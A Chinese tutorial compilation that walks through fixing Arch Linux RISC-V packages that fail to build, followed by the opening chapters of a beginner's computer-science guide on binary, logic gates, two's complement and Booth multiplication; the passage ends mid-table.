  • 虽涉及 RISCV 虚拟，但如无特殊说明，均在 x86_64 环境下执行。 如果需要进入虚拟环境执行，会在教程中显式标注。
  • 教程编号从上到下如下所示，不会越级，每一级都是上一级的直接下属。 所以如有遗漏，自行查看大纲概览。
    • 一、二、三、……
    • 一）二）三）……
          1. ……
    • 1）2）3）……
    • A. B. C. ……
    • A）B）C）……
    • i. ii. iii. ……
    • i）ii）iii）……
  • 由其他教程中复制来的内容，均按上述进行了格式修改。

二、环境搭建

直接跳转 Wiki 查看。

三、准备工具

一）参照教程

直接跳转 教程 查看。

二）其他必要工具

  • 克隆 PKGBUILD 的 asp 工具：

    sudo pacman -S asp

  • conf 文件内容替换工具：

    sudo pacman -S setconf

四、开始修包

一）前注

以下内容根据 Cloudflare 教程 复制，然后修改而来，加入部分内容。在第 5. 点之前，修改和添加内容均已添加下划线，第 5. 点之后均为添加内容。

二）工作流介绍

肥猫（项目主负责人）会不断的将 x86-64 源里的软件包脚本在 RISC-V 上进行编译。 成功的将会直接加入 RISC-V 的源里，失败的会把日志文件放在 https://archriscv.felixc.at/.status/status.htm 里并对这个包标记上 FTBFS 标志。 FTBFS 是 "Fail To Build From Source" 的缩写。我们的任务就是尝试修复这些包。

日常你不需要在上面那个网页搜，我们还有一个工会页记录了包的状态：

https://plct-archrv.ax64.workers.dev/

其中，左边是包的名字，点击包的名字可以直接跳转到上一次包构建的日志。 你需要注意看右边的 mark 标记，上面会记录着每一个包当前的状态。 你可以把鼠标移动到标记上来查看详细信息。

三）领取软件包（可选，推荐）

找到一个想修的包，查看第三列的状态，看看是不是已经有人正在修，或者已经修好了。

如果是一个没人处理的包，你可以到群里用 /add 命令来获取这个包的锁，让同事知道你已经在处理这个包了。比如你现在想修 rust，那么发送 /add rust 即可。

如果你是普通路人，那么只需要去仓库看看有没有冲突 pr 即可。

推荐加锁，以免重复工作。入群方式请 PM 肥猫负责人（Telegram：@felixonmars）。

四）修包

1. 下载构建脚本文件

asp checkout rust

2. 修改架构

上一步的命令会将上游的构建脚本 clone 到当前文件夹。

你需要进入包目录下的 trunk 目录，修改 PKGBUILD 的构建架构。

cd rust/trunk
setconf PKGBUILD arch "('x86_64' 'riscv64')"

这一步可以允许我们在 riscv64 架构下运行这个编译脚本。

3. 创建缓存文件夹

我们还需要构建一个文件夹作为包的缓存。

在编译过程中，pacman 会下载脚本 需要的依赖包，如果缓存文件夹复用，不干净就会导致构建时依赖安装失败等问题。

# 你可以直接创建一个固定的文件夹
mkdir ~/.cache/pkgcache
# 也可以随便创建一个临时文件夹
mktemp -d -t "pkgcache_XXX"

推荐直接建立固定文件夹 cache，修下一个软件包时，进入 cache 文件夹清空即可。如：

mkdir cache
# 修好包之后
cd cache
rm -rf *

4. 开始构建

安装好 archlinuxcn 源里的 devtools 之后，我们会有 RISC-V 专用的 extra-riscv64-build 工具来帮助我们构建。

export CACHE_DIR="YOUR CACHE DIRECTORY"
extra-riscv64-build -- -d "$CACHE_DIR:/var/cache/pacman/pkg"

这里的 -d 函数会把 $CACHE_DIR 到 /var/cache/pacman/pkg 的路径映射参数传到下一层的 makechrootpkg 程序。在 chroot 里下载的软件包可以在 $CACHE_DIR 里找到。

  • 注意：

export 命令只对当前窗口有效，包括对 screen 和 tmux。如果进行多窗口操作，则需要每一个窗口执行该命令。如果觉得该操作过于繁琐，可以写进 .bashrc 文件中。

5. 查找原因

上述构建之后不出意外会失败，此时需要根据报错信息查找对应原因。

常见错误大约会有以下几种：

1）extra-riscv64-build 启动报错
  • 报错信息： /var/lib/archbuild/extra-riscv64-build/<user> does not appear to be an Arch chroot
  • 解决方案： 删除 /var/lib/archbuild/extra-riscv64-build/。
  • 详见：https://github.com/felixonmars/archriscv-packages/wiki/FAQ
2）PGP 签名未认证

  • 报错信息：

    ==> Verifying source file signatures with gpg...
	<package>...FAILED (unknown public key <key>)
==> ERROR: One or more PGP signatures could not be verified!
==> ERROR: Could not download sources.

  • 解决方案： 手动导入 PGP 公钥。

    gpg --recv-keys <key_in_the_error_info>
3）其他已知错误

详见 Wiki FAQ 和 Record。

4）其他乱七八糟的错误

此处仅提供思路分析。

A. 定位问题

查看报错信息，是在 PKGBUILD 哪个函数。如：

==> ERROR: A failure occurred in build().
    Aborting...
==> ERROR: Build failed, check /var/lib/archbuild/extra-riscv64/felix19/build

进入 PKGBUILD，找到相关函数，定位更细节的错误。如上例中 build() 函数。

可以使用输出调试法，给函数加上 echo 语句，然后再次执行，观察哪里出了问题。

也可以使用断点调试法，起 GDB 打断点调试。下例中使用输出调试。

check(){
  cd ninja-$pkgver
  
  python ./configure.py
+ echo "python ./configure.py step is DONE."
  ./ninja ninja_test
+ echo "./ninja ninja_test step is DONE."
  ./ninja_test
+ echo "./ninja_test is DONE."
}

以 + 号开头的语句是我们自己加上的，+ 号在实际编写时不用写，仅在此处用作标识。

重新执行 PKGBUILD，然后观察 log，第一句应显示而未显示的 echo 语句的前一命令，便是具体的错误发生处。

B. 找出原因

如上述 ninja 包，是 ./ninja_test 执行出错，我们可以到 RISC-V 虚拟环境中，具体寻找原因。

  • 启动 riscv 的 arch 虚拟环境，传入 chroot 路径。如：

    arch-nspawn /var/lib/archbuild/extra-riscv64/tinysnow

  • 进入编译失败的 ninja 包路径。 此命令在 riscv 虚拟环境中执行：

    cd /build/ninja/src/ninja
./ninja_test

  • 然后查看具体输出，查找原因。

注意，有可能是 qemu 虚拟的问题，此情况包可能有错也有可能没有错，需要到开发板上进行验证。

相关事宜在 七、其他 中说明。

五、抽出 patch 文件

一）前注

  • 修复的包必须能抽出 patch 文件的包。 如，该包仅是依赖错误，或者 qemu 的神奇 bug，则不需抽出 patch 文件，等待依赖更新，或者打上相应标签即可。
  • 直接阅读原教程。

二）将 riscv64.patch 中的架构修改删除

确认无误后，将架构修改回去，也即 patch 文件不要修改 arch 架构那一行，机器人自动会处理好。

详见代码规范。

使用各种工具删除类似下面的内容即可。

16,5 16,5 @@ build(){
--- arch=('x86_64')
+++ arch=('x84_64', 'riscv64')
}

三）将 patch 文件从服务器拉到本地（可选）

如果是 Windows 主用，可以将服务器上抽出来的 riscv64.patch 文件传输到本地，然后进行本地提交。

scp -P <server_port> <username>@<server_address>:<path_to_riscv64.patch> <local_path_wanna_save>

四）提交到 git

1. fork arch 小队主仓库到自己账号

2. git clone 自己账号里 fork 下来的仓库

3. 添加到 git

mkdir <package_name_you_fixed>

将 riscv64.patch 文件移动到新建立的文件夹内。

git add *

git commit -m "<commit_message>"

git push origin <branch_name>

六、提交 Pull Request

如何提交 PR 自行搜索，提交完后等待合并。

如果提交过程中有其他 Contributor 提交了 Commit，可能需要自行 rebase 修改。

七、其他

一）其他重要参考资料

二）关于入组考核方式变更

根据 Arch 小组在 BiliBili 上更新的视频，入组方式已经由：

  • 为 Arch RISCV 修复一个包，提交一个 PR

变更为：

  • 打出一个可用的包

详见参考资料中的 BiliBili Video Update。

三）关于修包

有些可能不是包本身的问题，而是 qemu 虚拟出问题。此时需要到 RISCV 开发板上跑一遍。

开发板申请是需要条件的，如果是路人请放弃这个包吧。

工作

流程

针对新手的详细流程，请看 repo wiki 和本目录下 Workflow

  1. 工会页面上查找和浏览相关软件包
  2. 定位最核心的报错信息
    • 有些表层报错遮盖了最核心的问题
    • 核心报错信息不一定在最下面，请务必牢记这一点
  3. 查询相关资料和文档，同时打开上游仓库
  4. 依据资料定位错误模块
    • Google 查询结果
    • 上游仓库 Issue 和 Pull Request
    • Stack Overflow 相关问题
    • Arch Linux Bug Tracker
  5. 尝试进入软件包源码目录解决问题
    • patch
    • 修改 flag
    • 删除或添加依赖项
  6. 尝试将修改抽取成 patch
  7. 提交 Pull Request

Tips

  • 可以尝试使用 bash -i 进行 debug，在发生错误的命令处添加此命令

    • build(){
  cd $pkgname-$pkgver
  ./configure
  make || bash -i
}

    • Tests 失败也可以遵照此步骤

注意事项

  • commit message 不要打句点
  • soname diff 没有必要放在 pr 信息里面
  • 压缩 commit
  • 不要在 master 分支上工作
  • Arch Linux 里 Flag out-of-date 的时候直接写新版本号（甚至可以只写这个）
  • pr description 里面只陈述 what 和 why，how 留在 blog 里，给 reviewer 减少负担

计算机科学极简入门指南

最重要的

阅读本教程，请牢记四句话，以后将反复提到，都很简单。若现在不懂没有关系，感触将随着教程推进越来越深。现阶段，只需要死记硬背，以后会自行理解。

内容如下：

  • 懒是人类进步的第一动力。
  • 在计算机科学里，没有什么问题是加一层解决不了的。
  • 人类所有知识都来源于好奇心和解决问题。
  • 所有庞大学科体系，都是一点一点累加起来的，不会一蹴而就，没有学科例外。

写在前面

风格

本教程遵循以下风格：

  • 极简风格，争取不浪费读者时间
  • 阮一峰中文技术文档写作规范（不严格遵守）
  • 具有极强的个人用语风格
  • 用语介于口语和书面语之间，比较通俗
    • 口语具有亲切感和人情味，但传达效率不高
    • 书面语使人严肃，但使人感觉抗拒和枯燥

理念

  • “授人以鱼不如授人以渔”
  • 示例优先，抽象其后，有助理解
  • 兴趣是最好的老师
  • 最好的学习方法是解决问题

问题

由于遵循极简风格，所以会诞生以下问题：

  • 本教程只能起到引导作用，而非百科全书，旨在自顶向下为读者带来一个全局的观念
    • 请不要抱有看完这系列教程后能成为技术顶尖分子的幻想
  • 本教程学习方法和知识点各占一半
    • 具体各知识点，若有兴趣，可以按照此教程学习方法寻找资料学习

适用人群

  • 零基础
    • 请务必阅读整个教程
  • 非零基础技术人员
    • 请跳读或选读以提高效率

阅读要求

只有一个：

每章节或知识点后有相应的，精挑细选的 1-2 道思考题，请务必认真思考

  • 思考题经过精心挑选
  • 目的在于希望读者能让知识点得到运用
  • 除此之外：因人脑不适合记忆孤立的知识点，希望能通过思考题将知识点连接成知识网络

勘误说明

因笔者知识水平和技术能力有限，若有勘误，尽请斧正，提交 Pull Request。

诚挚希望能得到各位技术人员的交流，并非客套。

联系方式

Email：ancielin+csteaching@outlook.com

Telegram：http://t.me/TinySnow

Github：TinySnow

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第一章：计算机的历史

TL;DR

  • 因为有时工作量大，以及人懒，所以诞生了计算机。

正文

　　摒弃教材，来站在发明计算机的人的视角，考察为什么计算机会诞生。

思考题

　　你是一个工程师，接到了一个任务：要求在两天之内计算十万个形如 2x+3=7 这样的方程，并返回结果，让上级进行下一步数据处理。你此时会有什么愿望？

　　当我们进行冗余繁琐的计算操作，我们迫切希望有一个东西，来帮助我们快速解决这些计算，将自己从枯燥的工作中解放出来。

　　于是计算机诞生。

　　懒是人类进步的第一动力。

　　接下来，需要将其实现：需要研究它的组成和需要，以达到我们想要的计算功能。

小结

知识点

  • 计算机诞生的原因

参考资料

  1. 第一代电子计算机：美国国防部用它来进行弹道计算。

思考题答案（仅供参考）

需要许多能够达到要求的人帮助进行计算（不太现实），或是有一台机器能批量进行计算（可能现实一点）。

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第二章：计算机的构成

复习

  • 第一章：需要一台计算机，在研究其组成的方向上进行努力。

TL;DR

  • 使用 布尔代数（二进制数学基础） 和 电能（能源） ，设计出 输入设备、输出设备、存储单元和计算单元 ，就可以构成计算机。
  • 四种组成部分可以继续向下向细拆分。例如计算单元可以由 CPU 拆成寄存器、ALU 和控制器等。

正文

供能

　　首先，要使机器工作：需要供能。目前最容易获取和广泛运用的能源：电能。

  • 需要供电（能源）

处理

　　其次，计算，同处理事情的流程一样，需要：适用前提，已知条件和结果。由此，抽象出以下三点：

  • 可计算性（适用前提）
  • 输入数据（已知条件）
  • 输出结果（结果结论）

内部表示

　　最后，考虑计算机内部计算处理的事情：

  • 如何处理与计算机的交互？
  • 信息和数据该怎么表示？
  • 处理时会不会有中间结果，需不需要暂时保留？

交互处理

　　最初的计算机，只希望能快速计算。所以此处将问题最简化：能够输入数据就行。复杂交互处理不在考虑范围之内。

　　由于采用电能，所以最终一切都需要用电信号表示。电信号目前只能分为两种：通电，不通电。

　　我们需要区别这两种状态，并且，是在计算机一直供电的情况下，让计算机识别输入信号。

　　阻挡是一个办法。

　　最初的计算机科学家们，想到用纸带打孔。有孔洞，类似开关，电路接通，通电。没有孔洞，电路受阻，不通电。如下图：

paper_cut_off

　　这就是最原始的方法，需要程序员做大量的打孔操作，让机器识别。

数据表示

　　由于交互处理的前提，需要将所有信息都用通电和不通电表示。

假设

  1. 通电表示 a，不通电表示 b。那其他字母怎么办呢？行不通。
  2. 通电表示 1，不通电表示 0。那其他数字怎么办呢？似乎可以。

　　玛雅人采用 20 进制；我们日常使用 10 进制；有些单位（一打）使用 12 进制。

　　那么是否可以采用 2 进制？逢 2 进 1，将其他数字表示出来？

二进制十进制二进制十进制
0000001015
0001101106
0010201117
0011310008
0100410019

　　回到假设 1：如果需要表示字母和其他符号，怎么办？进制只能表示数字。

　　既然数字这个界限不能打破，那么是否可以抽一部分数字出来，专门用来表示其他字母或者符号？美国想出了这个方法，由此诞生 ASCII 码。详细了解请见参考资料。

思考题 1

　　这个方法似乎也有些问题。例如，ASCII 码中规定 0100 0001（二进制，转换为十进制为 65）表示字母 A ，那真要表示 65 怎么办？以及，上述的假设 1，其他字母真的就表示不出来吗？

　　这个方法可以解决问题。虽不完美，但目前没有想出更好的解决办法，就这样先用着。

　　为了方便计算机学界交流，为这些知识起个术语：

  • 一个二进制的 0 或 1 称为 bit，比特，用 b 表示
  • 8 个二进制的 0 或 1 成为 Byte，字节，用 B 表示
    • 8 是人为规定的，二进制表示一个数据会非常长，表示 0-9 都需要 4 个 bit

中间结果

　　毋庸置疑，需要保存中间结果。原因：

  • 我们希望一次性将所有计算任务都输入进去，等待计算机完成。而非计算一次输入一次。
  • 计算较为复杂时，中间结果不可丢弃，否则后续计算将出现错误。

　　我们需要有某个东西，能够存放数据，即存放中间结果的二进制表示。我们姑且称为“存储器”。

体系结构

　　处理完三个棘手的问题，得出新的结论，一台计算机需要有：

  • 输入设备（详见处理）
  • 输出设备（详见处理）
  • 存储器（详见中间结果）
  • 核心的计算单元（核心功能）

　　上述体系结构，被称为冯·诺依曼体系结构，至今仍在沿用（人类所有知识都来源于好奇心和解决问题）。如图所示：

Von_Neumann_Architecture

思考题 2

　　如果未来发生了一场能源革命，发现一种新能源：另能。另能激活时，有 A、B、C 三种不同的形态，均可导通另路（类似电路）。

　　那么计算机是否会发生革命？如果你是另能计算机设计者，会采用几进制？

　　最后，冯·诺伊曼体系结构是否会随着技术发展而打破？

小结

知识点

　　一个核心：计算机如何构成。达成这个目的，需要：

  • 能源
  • 输入
  • 输出
  • 计算处理
    • 二进制和 ASCII 码
      • 比特(bit)
      • 字节(Byte)
    • 存储器
    • 计算单元
  • 冯·诺伊曼体系结构

参考资料

  1. 计算理论：一个问题是否可以计算。偏数学领域，不在讨论范围之内。

  2. ASCII 码：American Standard Code for Information Interchange，美国信息交换标准代码。

  3. 二进制：数据的表示方法。

  4. 冯·诺依曼体系结构：现代电子计算机的基本体系结构。

  5. Сетунь：苏联诞生的三进制计算机。

思考题答案（仅供参考）

思考题 1

  1. 65 和 A 的表示原理相同。A 是一个字符，65 是 6 和 5 两个字符。表示 65，即表示 6 的 ASCII 代码，然后跟上 5 的 ASCII 代码：0011 0110(6) 0011 0101(5)。注意：此处只讨论这两个字节用于显示，而非用于计算或表示指令等。

  2. 可以用 a 和 b 进行进制排列。如 a 表示 a，b 表示 b，ba 表示 c，bb 表示 d，baa 表示 e，bab 表示 f，bba 表示 g 等。但此方法实质一样，并且违背现存符号体系，不采用。如果不采用进制排列，因元符号（不可再分的符号单位）只有通电与不通电，所以只能表示两个信息。目前没有突破采用进制以外的信息表示法（符号少，只能依靠排列增加信息数量）。

    请注意：此答案 2 并不严谨，但于初学者而言，容易理解且偏差不大。（苏联曾经诞生过三进制计算机）

思考题 2

  1. 会。因为元符号数量从 2 个增长为 4 个。
  2. 4 进制。未导通态 1 个加上导通态 3 个，共 4 个。可以表示为 0-3，此时每 1 位（四进制）可以表示 2 个比特位（二进制）。
  3. 科学和技术一直在进步。假设，某一天技术强大到所有输入和输出均可一个设备完成，则该体系也会随之淘汰。

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第三章：简单逻辑门

复习

  • 第一章：希望造出一台计算机。
  • 第二章：这台计算机需要供能，输入，输出和处理过程。

TL;DR

  • 晶体管可以搭建 and（与门）、or（或门）、not（非门）基础三门，进而搭建出 xor（异或门）等其他基础原件。
  • 用 and 和 xor 可搭建出一个半加器。
  • 两个半加器和一个与门可搭建出一个全加器。
  • 多个全加器串联可搭建出一个串行进位加法器。
  • 将串行进位加法器进行数字电路优化可以获得超前进位加法器。

正文

　　第二章末尾本应详细介绍冯·诺伊曼体系结构中的运算器和控制器，但此处暂缓，从第三章开始实现后，自然会理解这个结构，前两章为理论基础。既然要造计算机，肯定需要先能计算简单加减法。

基础材料

　　手头拥有的最基本材料为：电和晶体管（也可以使用电子管，但技术旧且效率低）。由第二章可知，此计算机采用二进制，与数学中布尔代数吻合。布尔代数为二进制信息表示和计算提供有力的数学支撑。

　　布尔代数有三种基本操作：and，or，not，分别是与门，或门，非门。其真值表如下表所示：

  • 与门（输入均为 1 时才为 1，只要有 0 即为 0，“同真才真，其余均假”）
输入 A输入 B输出 Y
000
010
100
111
  • 或门（输入只要有 1 就为 1，全为 0 即为 0，“有真就真，全假才假”）
输入 A输入 B输出 Y
000
011
101
111
  • 非门（也称反相器，输入为 1 时输出为 0，输入为 0 时输出为 1，“真假对调”）
输入输出
01
10

　　需要说明的是：与或非三种门，并不能直接获得，需要用晶体管搭建。但由于晶体管电路太过复杂，超出了本指南范围，本指南只将浅显解释附在其后，读者感兴趣可以自行阅读。

　　为简化说明，本指南 认为与或非三门可以直接获得。

　　由基础三门还可构成稍复杂一点的逻辑门：nand（not and 之缩写），nor（not or 之缩写），分别是与非门，或非门。其结果就是与门、非门的结果取反。

  • 与非和或非
输入 A输入 Band 输出nand 输出or 输出nor 输出
000101
010110
100110
111010

　　注意，nand 和 nor 两门因自身函数完备性，均可构成基础三门。所以一台计算机可以只由 nand 门或 nor 门构成。

半加器

　　接下来尝试计算一位加法（输出 Y 的括号为可能的进位）：

输入 A输入 B输出 Y
00(0)0
01(0)1
10(0)1
11(1)0

　　暂时不管进位，可以观察到：输入相同，结果为 0；输入不同，结果为 1。这种逻辑在以后也很常见，专门有个名字：异或门（xor）。

　　异或门电路可以使用基础三门搭建，方案也很多。总体来讲，用的逻辑门越少，开销越少，效率越高。下面两种设计方案中，很明显，第一种方案要好。

　　接下来处理棘手的进位问题：

　　再次观察，只有当输入均为 1 时才会出现进位，其他情况可以视为进位为 0。容易发现，此逻辑和与门相同：只有输入均为 1 时才为 1。

　　综上所述，二进制的一位加法器（带进位）可以用一个异或门加上一个与门表示。 将输入输出引脚分列两边，中间加上逻辑门，可以获得一个一位加法器。

　　上述一位加法器也称半加器。

加法器（全加器）

　　来看一个例子，为简化问题，此处数据设为 4 位：计算 0011 + 1001。拆解为 4 个子问题，逐位相加，从左开始：0 + 1，0 + 0，1 + 0，1 + 1。可以观察到这四个问题可以用 4 个半加器解决。但是同时观察到，最后的子问题 1 + 1 产生了进位，所以还需要加上进位。

　　加上进位是个麻烦事。为了之后方便，可以将进位也直接纳入半加器电路，成为 3 输入 2 输出的一个全加器芯片。如图：

　　针对此例子可以画出如下电路图：

　　将问题泛化：计算 abcd + efgh（一个字母代表一个比特位）。产生 4 个子问题：a + e，b + f，c + g，d + h。因为不知道哪个问题会产生进位，所以均需要加上进位构成全加器，如图：

　　如果需要计算 8 位，将加法器扩展成 8 位的样子即可，16、32、64 位同理。

　　如果最高位（即二进制最左边的那一位）产生进位，代表超出了此计算机的数据范围。这里简单丢弃，后续再处理。

效率？

　　需要说明的是，将全加器直接串联起来构成的串行进位加法器（也称行波进位加法器），尤其懒惰和低效。现代电子所用的加法器，经过优化，速度更快。但无论如何，我们已经拥有加法器了。

　　本指南侧重如何构成加法器，不涉及加法器的优化，所以之后提到加法器时，默认已经过优化，效率比此章设计的加法器要高。

思考题

　　由于进位未知但不可缺少，每个全加器都要等待低位的进位，所以效率极低。

　　如果每个全加器耗时 0.1 秒，那么 8 位将耗时 0.8 秒。而现代 PC 基本都是 64 位，意味着做一次加法需要 6.4 秒。

　　有什么办法能优化这种速度吗？

补充

　　符号说明：

  • NMOS 高于 阈值电压导通，低于 阈值电压不导通
  • PMOS 则相反
  • Vdd 为供电电压，恒为 1
  • GND/Vss 为接地电压，恒为 0
  • 接入端 A 和 B 为接入电压，可高可低，高于阈值电压为 1，低于阈值电压为 0

　　CMOS（互补式金属氧化物半导体）晶体管搭建基础逻辑门的电路图：

  • 非门（反相器）

  • 与非门

  • 与门（可以看出实际上就是 nand + not 两模块构成）

  • 或门（与上同理，由 nor + not 构成）

小结

知识点

  • 与门
  • 或门
  • 非门
  • 半加器
  • 全加器
  • 加法器

参考资料

  1. Wikipedia(zh)：晶体管：现代几乎所有电子设备的基石。
  2. Wikipedia(zh)：函数完备性
  3. Wikipedia(zh)：超前进位加法器：优化后的加法器，也有缺陷。

推荐

  1. Bilibili：MOSFET 快速入门
  2. Bilibili：逻辑门
  3. Bilibili：串行进位加法器
  4. Bilibili：并行进位加法器

思考题答案（仅供参考）

　　可以使用超前进位加法器（也称并行进位加法器）。分析依赖关系之后，可以将进位从串联改为并联，能一定程度上提高效率。但当规模特别大时，此加法器会导致晶体管或逻辑门的数量指数级上升。需要数字电路知识。

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第四章：负数与减法

复习

  • 第一章：希望造出一台计算机。
  • 第二章：这台计算机需要供能，输入，输出和处理过程。
  • 第三章：利用电能和布尔代数，造出了一个加法器。

TL;DR

正文

引子

　　加法可以计算了，减法怎么办？5 - 2 = ?

　　变化一下，似乎可以发现： 减去一个数，等于加上一个负数。 也即 5 - 2 = 5 + (-2)，效果一样。但这个想法已经向前迈进了一大步—— 不用专门制造减法器，可以复用加法器，只需表达负数即可。

　　现在问题来到： 负数在计算机中该怎么表示 ？

有符号数

　　根据引子，现在需要表示负数。这里不得不引入有符号数的概念。

　　先前所有二进制表示，均默认没有符号，从 0000 表示 0 开始，到 1111 表示 15 结束，都是默认正数，然后开始一个个加，没有负数的余地。

　　为了解决这个问题，人们专门抽出最高位（最左位）表示符号，0 为正数，1 为负数。其余位为数值位，和原来一样。

  • 0001 表示 1，1001 表示 -1，0111 表示 7，1111 表示 -7

　　需要说明的是，这里不一定需要抽出最高位，抽哪一位都可以，抽出最高位只是一种约定俗称的惯例。而且抽出最高位，在后续的电路设计中方便一点。

　　这种只带符号位的二进制码，叫做 原码。

原码的问题

　　原码有诸多问题：

  • 0 占据了两个编码 0000 和 1000，但数学没有正负零一说；
  • 不能直接参与计算。
    • 0010 + 1001 = 1011，换成十进制就是 2 + (-1) = (-3)，但这很明显错了；
    • 1010 + 0001 = 1011，两个加数与上面调换符号位，十进制 (-2) + 1 = (-3)，很明显也错了。

　　不能做减法，计算机就残废了。我们需要一种 能直接参与计算的 有符号数编码。

补码

　　没有头绪没关系，我们试着来推导。

  • 首先，最简单的：2 + (-2) = 0。应该满足相反数相加为零。
  • 其次，二进制，只能用 0 或 1 表示。
  • 再次，满足符号位约定：1XXX 为负数，0XXX 为正数。
  • 根据以上可以导出：0010 + ? = 0000。

　　现在思考 ? 应该填一个怎样的二进制数。这个问题看起来没有解。右起第二位的 1 怎么可能又变回 0……

　　等下，似乎不是不可以—— 我们可以再加上一个 0010，然后把右起第二位进位，进位之后即为 0。 然后现在变成 0100，只是又向左推了一位。

　　但如果一直往左推呢？加到 4 位溢出成 5 位，然后第五位我们直接丢弃——似乎可以变成 0。

  • 即：0010 + ? = 0000
  • 推出：0010 + ? = (1)0000
  • 推出：? = (1)0000 - 0010 = 1110。
  • 对于这个例子，-210 = 11102。刚好符合符号位的约定。
  • 右下角的 10 和 2 表示十进制和二进制。

　　而对于这个推式，有一个更简单的做法： 刚好加到溢出，只需要每位取反，然后再 + 1 即可。 对于 0010 而言：0010 每位取反为 1101，然后 + 1（也即加上 0001），就可以持续进位，直到溢出。

符号数值
0010
+1101
=1111
+0001
=(1)0000

　　所以　负数(?)　=　正数(0010)　取反(1101)　加一(1110)。

　　通过观察发现，这个规律直到 1000 结束—— 1000 根据上述规则计算出来，负数为自身 1000，再往上 1001, 1010……计算出来的结果 0111, 0110……跟之前的正数编码相同，不能使用。

　　也即，从 0111 的中间 1000 为边界线，两边的数互补，相加结果为 1111。 用图表示，大概是这种感觉：

  • 因为这个编码本身就是从算式（2 + (-2) = 0）中推导出来的， 可以直接参与计算 ，叫做 补码。
    • 正数的补码是自身——补码本身就是从相反数的编码中推导出来的。

思考题 1

　　有什么便捷方法，能快速计算出补码吗？

概念

  • 最高位为符号位，其他位为数值位的有符号数编码，叫做 原码 。

    • 例子：210 = 00102 进制原码，-210 = 10102 进制原码

  • 原码取反 的编码，叫做 反码 。反码本质上是求补码的中间编码，而正数不需要求补，所以正数的反码是其自身。最高位也是符号位。

    • 例子：210 = 00102 进制反码，-210 = 11012 进制反码

  • 原反码不能直接相加 ，例子：510 + (-210) = 01012 + 11012 进制反码 = (1)00102 = 210 != 310(00112)。

    • != 为不等于
    • 本质上是因为有正零（0000）和负零（1000）的存在，一个零占了两个编码。
    • 原码和原码，原码和反码，反码和反码之间，均不能直接相加。

思考题 2

　　为什么 10002 进制补码 是 -810？

减法

　　上述可知，减法可以表示为加上负数，而负数又用补码表示：所以将加法器的减数，变成其对应的补码即可。也即 5 - 2 = 5 + 2 的补码。

　　或者我们也可以说： 减法在二进制计算机里的定义是，加上 减数取反后的数值，再加一。

　　而补码又是取反加一，所以输入加法器之前，经过求补模块即可。求补模块 = 取反 + 加一，也可以说是减法模块。取反可以让每位都经过一次 not 门，加一可以放置一个加法器固定加上 1。

　　大概就像这样（图源：BiliBili 硬件茶谈）：

小结

知识点

  • 原码
    • 最高位为符号位，其余位为数值位
  • 反码
    • 正数反码为自身，负数按位取反
  • 补码
    • 反码加一
  • 正数
    • 原码，反码，补码，均相同
  • 负数
    • 原码，反码，补码，均不相同
  • 减法器的构成
  • 一个二进制码，现在如果要翻译成十进制，首先得问它有没有符号

参考资料

推荐

思考题答案（仅供参考）

思考题 1

　　一个负数的补码：写出该数相反数的二进制码，找到最右边的 1，该位及右边所有位不变，左边按位取反。

  • 例子：找 -6 的补码表示，先找 6 的二进制码（原码）——0110。然后根据上面的规律，可直接得出 1010。

  • 原因：

    • 1 取反，为 0，再加一，最终结果仍然为 1；
    • 0 取反，为 1，再加一，最终结果仍然为 0，但此过程有进位产生；
    • 所以，原码 0A00 的求补过程中，若 A 为 0，低位势必会一直发生进位，直到有一个 1 处停止，所以找到最右边的 1 即可。
      • 从此位截断，因为不发生进位，所以左边按位取反（只发生取反），该位及右边保持不变（发生取反和加一）

思考题 2

  • 最重要的一点，如果不让 10002 进制补码 为 -810，则运算会发生错误。
  • 所以也人为规定了这点。
  • 本质上，求负数的编码运用了数学上 模 的概念。
    • 如时钟，模 为 12，一旦到达 12 立即回归原点，所以 12 也是 0。
    • 上述加到溢出的做法，也即除模，而在 4 位有符号二进制码中，除去最高位符号位，只能表示 23=8 个数，所以 模 为 8。
    • 故人为规定：“正零”（0000）为 0，“负零”（1000）为 -8。
      • 若规定 “负零”（1000）为 8，则：
      • 08 会有 9 个数，而 -1-7 只有 7 个数，严重不对称，并且运算会发生错误。

协议

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

第五章：乘法与除法

复习

  • 第一章：希望造出一台计算机。
  • 第二章：这台计算机需要供能，输入，输出和处理过程。
  • 第三章：利用电能和布尔代数，造出了一个加法器。
  • 第四章：引入有符号数，介绍原码、反码和补码，使计算机可以表示负数和运算减法。

正文

乘法

本质

　　加减法有了，乘除法呢？加法有了，逆运算的减法也就有了，只要有了乘法，而除法是乘法的逆运算，问题应该也不大。

　　回忆小学怎样算乘法。列竖式，相加。乘法本质是反复加法。

　　十进制可以这样算，二进制呢？

逐位相乘

　　不妨来试试： 3 × 5 = 15。 简单起见，使用无符号数，没有符号位。

    0011   （3 的无符号二进制）
×   0101   （5 的无符号二进制）
--------
    0011
   0000#    <-- # 表示占位符，没有意义
+ 0011##
--------
    1111   （15 的无符号二进制）

　　可见竖式也能得出正确结果：0011 × 0101 = 11112 进制无符号，也即 1510。

　　那就好办了，让一个二进制数，与另一个二进制数的 每一位 相乘，然后进行竖式一样的 移位 操作，最后加在一起就好了。因为补码可以参与运算，所以负数的乘法也解决了，下面就是实现了。

　　相乘，仔细观察可以用 and（与门）解决，那—— 移位 呢？该怎么办？

Booth 算法

　　上述逐位相乘有一个问题：

　　如果是 M × 0100 这样就还好，只用加一个数字——因为只要乘数的某一位为 0，结果就必定为 0。所以逐位相乘，结果就是 0 + M + 0 + 0，实际上只用加 M 这一个数字。

　　如果是 M × 1111 这样的呢？就需要加四个数字——M + M + M + M。这在乘数位数变多（比如 64 位）的时候，连续的 1 将极为致命，会严重拖慢计算速度。

　　于是 Booth 算法优化了这一点。Booth 算法的核心思想是：对于 二进制补码 的每一位，我们可以通过判断它与它前一位的关系，来决定是否进行加减操作。

　　看不懂？来个实际的：设 X补码 = XsXnXn-1...X1X0, Y补码 = YsYnYn-1...Y1Y0，有 M × 00111000。

　　而 M × 00111000 = M × ( 23 + 24 + 25 ) = M × (01000000 - 00001000) = M × ( 26 - 23 )。

　　整理一下可以得出：26 × M - 23 × M，也即，在原乘数 00111000 中，10 表示连续 1 的开始，对应 - M × 23，01 表示连续 1 的结束，对应 M × 26，那么可以得出移位的规则：

Yn+1Yn操作规则
00部分积右移一位
01部分积 + X补码，部分积右移一位
10部分积 - X补码，部分积右移一位
